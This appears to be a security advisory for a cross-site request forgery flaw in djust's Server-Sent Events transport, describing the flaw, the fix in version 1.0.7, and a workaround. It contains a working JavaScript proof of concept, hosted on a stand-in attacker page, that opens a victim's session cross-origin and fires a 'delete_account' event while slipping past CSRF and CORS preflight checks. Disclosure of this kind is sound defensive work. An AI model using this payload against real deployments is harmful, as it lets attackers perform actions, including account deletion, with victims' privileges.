high · 8.1CVE-2026-61593Sep 16, 2026

CVE-2026-61593: djust Cross-Site Request Forgery via Server-Sent Events Transport

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A malicious web page can silently hijack a logged-in user's djust LiveView session over the SSE transport, forcing their browser to mount a LiveView and fire state-changing event handlers as the…

Packagedjust
Ecosystempip
Affected< 1.0.7
Fixed in1.0.7
CVE-2026-61593: djust Cross-Site Request Forgery via Server-Sent Events Transport

The problem

djust's Server-Sent Events transport had no cross-origin protection on any of its three endpoints before version 1.0.7. The SSE stream GET endpoint created and mounted a LiveView for whoever connected, and the POST message endpoints were decorated with @csrf_exempt.

The session_id parameter in the URL is client-chosen and validated only for UUID format. It provides no CSRF protection. A cross-origin page could therefore pick a session_id, GET the stream URL with the victim's cookies (mounting a LiveView as the victim), then POST event payloads to trigger state-changing handlers with full victim privileges.

Proof of concept

A working proof-of-concept for CVE-2026-61593 in djust, with the exact payload below.

javascript
<!-- attacker.html served from https://evil.example -->
<script>
// Step 1: open the SSE stream cross-origin — browser sends victim cookies.
// We pick the session_id; djust validates only UUID format.
const SESSION = '11111111-2222-3333-4444-555555555555';
new EventSource(
  `https://app.example/djust/sse/stream/${SESSION}/`,
  { withCredentials: true }
);

// Step 2: POST a JSON event as text/plain — a CORS simple request.
// No preflight is triggered because Content-Type is text/plain.
// The POST endpoints are @csrf_exempt, so Django's CSRF token is never checked.
setTimeout(() => {
  fetch(
    `https://app.example/djust/sse/message/${SESSION}/`,
    {
      method: 'POST',
      credentials: 'include',
      // text/plain keeps this a CORS simple request — no preflight, no CORS block.
      headers: { 'Content-Type': 'text/plain' },
      // djust parses the body as JSON regardless of Content-Type.
      body: JSON.stringify({ type: 'event', event: 'delete_account', data: {} })
    }
  );
}, 1500); // give the SSE stream time to mount the LiveView
</script>

Two weaknesses combine to make this exploitable without any preflight handshake.

First, EventSource always sends cookies (when withCredentials: true) and the GET stream endpoint had no Origin check, so the cross-origin GET mounts a real, authenticated LiveView session under the attacker-chosen session_id.

Second, the POST message endpoints were @csrf_exempt and did not validate the request Content-Type. Sending Content-Type: text/plain with a JSON body keeps the fetch inside the CORS 'simple request' category, the browser skips the preflight, and the server accepted and parsed the body as JSON anyway.

The patched version (1.0.7) validates the Origin header against ALLOWED_HOSTS on all three SSE endpoints (CWE-352 fix) and rejects POST requests that are not Content-Type: application/json with HTTP 415, eliminating the simple-request bypass.

The fix

Upgrade to djust 1.0.7 or later. The patched release validates the Origin header against ALLOWED_HOSTS on the SSE stream GET and both POST endpoints (returning 403 on mismatch) and enforces Content-Type: application/json on POST endpoints (returning 415 otherwise).

As a workaround before upgrading, disable the SSE transport or place a reverse proxy in front of the SSE routes that enforces an Origin allowlist.

Reporter not attributed.

References: [1][2][3]

Related research